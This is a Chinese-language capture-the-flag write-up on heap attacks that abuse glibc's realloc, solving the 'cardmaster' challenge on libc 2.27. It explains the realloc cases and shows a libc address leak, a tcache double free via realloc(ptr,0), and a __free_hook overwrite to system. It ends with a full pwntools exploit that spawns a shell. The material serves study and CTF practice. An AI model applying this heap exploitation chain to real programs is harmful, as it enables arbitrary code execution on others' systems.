基于realloc函数的堆攻击

前言

通常来说堆是通过调用 glibc 函数 malloc 进行分配的,在某些情况下会使用 calloc 分配。calloc 与 malloc 的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的。

calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);

除此之外,还有一种分配是经由 realloc 进行的,realloc 函数可以身兼 malloc 和 free 两个函数的功能。

#include <stdio.h>

int main(void) 
{
  char *chunk,*chunk1;
  chunk=malloc(16);
  chunk1=realloc(chunk,32);
  return 0;
}

realloc 的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作:

  • 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时

    • 如果申请 size > 原来 size
    • 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
    • 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
  • 如果申请 size < 原来 size

    • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
    • 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
    • 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
    • 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

例题分析

在网鼎杯半决赛有个堆题cardmaster,就是利用realloc机制进行的攻击

题目libc2.27

main函数

init_card_set函数

大致结构如下图所示

sub_D31函数会根据当前chunk的偏移打印东西,注意这个printf("suit chara set:%s\n", a1[2]);后面会用到来leak地址

case3函数,这个函数就是调用刚才的sub_D31函数

set_info函数,会先判断string-ptr的内容和&unk_202010是否一致,一致其实就是说明刚进行过init_card_set,所以会调用malloc函数,不同则会调用realloc函数。同时会把0x20偏移处(也就是原本malloc(0x20)的地方realloc进行扩充)

然后就是一个for循环初始化,但是这个和做题没什么关系,这些初始化值都是为了初始化纸牌值(可以理解为这是程序的正常功能)

最最重要的是,最下面有个read(0, *((void **)a1 + 2), 4 * *a1);这也是本题中唯一一个read能够进行写的地方,所以一定会在这里做文章

shuffle函数,把malloc(0xd0)处的地方进行混淆,但是发现这里根本就没有什么越界,之前做DAS遇到过一个可以控制伪随机数生成然后越界写,显然这里不是。

show函数,没什么用处,打印malloc(0xd0)处的值

利用思路

这种堆题没有看到一个free,但是有很多realloc,所以首先先想如何leak libcbase。显然可以通过set_info函数中的先把堆块realloc变成一个比较大的堆块,然后对其进行切割,我们可以先调用init_card_set函数,这样第一次set_info就会调用malloc,然后再调用case3处的函数,就可以leak出libcbase。

set_info(0x120,0,0,b'a')
set_info(0x140,0,0,b'a')
init_info()
set_info(0x124,0,0,b'\xa0')
# dbg()
get_info()

libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ec2a0
system_addr = libcbase + libc.symbols['system']
bin_addr = libcbase + next(libc.search(b'/bin/sh'))
free_hook=libcbase+libc.sym['__free_hook']
print(hex(libcbase))

如下所示就是malloc后切割出来得到的string-ptr

有了libcbase,基本上成功了一半,还要考虑如何getshell。这个题是libc2.27,同时注意到一个很重要的地方,就是realloc(ptr,0)相当于free函数。libc2.27又没有tcache double free的检查,那么就可以无限制double free。然后先调用init_card_set,再调用set_info,因为第一次set_info会使用malloc,然后后面还有个read函数,所以就可以打tcache poison。最后直接打free_hook就可以getshell了

init_info()
set_info(0x30,0,0,b'a')
free()
free()
free()

init_info()
set_info(0x30,0,0,p64(free_hook))
# dbg()
init_info()
set_info(0x30,0,0,b'a')
init_info()
set_info(0x30,0,0,p64(system_addr))

init_info()
set_info(0x20,0,0,b'/bin/sh\x00')
free()

exp

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
# p=remote('10.1.104.10',9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

def dbg():
    gdb.attach(p,'b *$rebase(0xA8A)')
    pause()

def init_info():
    p.sendlineafter(b'>> ',str(1))

def set_info(count,range,level,cont):
    p.sendlineafter(b'>> ',str(2))
    p.sendlineafter(b'suit count',str(count))
    p.sendlineafter(b'digit range',str(range))
    p.sendlineafter(b'random',str(level))
    p.sendafter(b'new suite set',cont)

def get_info():
    p.sendlineafter(b'>> ',str(3))

def shuffle():
    p.sendlineafter(b'>> ',str(4))

def show():
    p.sendlineafter(b'>> ',str(5))

def free():
    p.sendlineafter(b'>> ',str(2))
    p.sendlineafter(b'suit count',str(0))
    p.sendlineafter(b'digit range',str(0))
    p.sendlineafter(b'random',str(0))


set_info(0x120,0,0,b'a')
set_info(0x140,0,0,b'a')
init_info()
set_info(0x124,0,0,b'\xa0')
# dbg()
get_info()

libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ec2a0
system_addr = libcbase + libc.symbols['system']
bin_addr = libcbase + next(libc.search(b'/bin/sh'))
free_hook=libcbase+libc.sym['__free_hook']
print(hex(libcbase))


init_info()
set_info(0x30,0,0,b'a')
free()
free()
free()

init_info()
set_info(0x30,0,0,p64(free_hook))
# dbg()
init_info()
set_info(0x30,0,0,b'a')
init_info()
set_info(0x30,0,0,p64(system_addr))

init_info()
set_info(0x20,0,0,b'/bin/sh\x00')
free()

p.interactive()
0 条评论
某人
表情
可输入 255
目录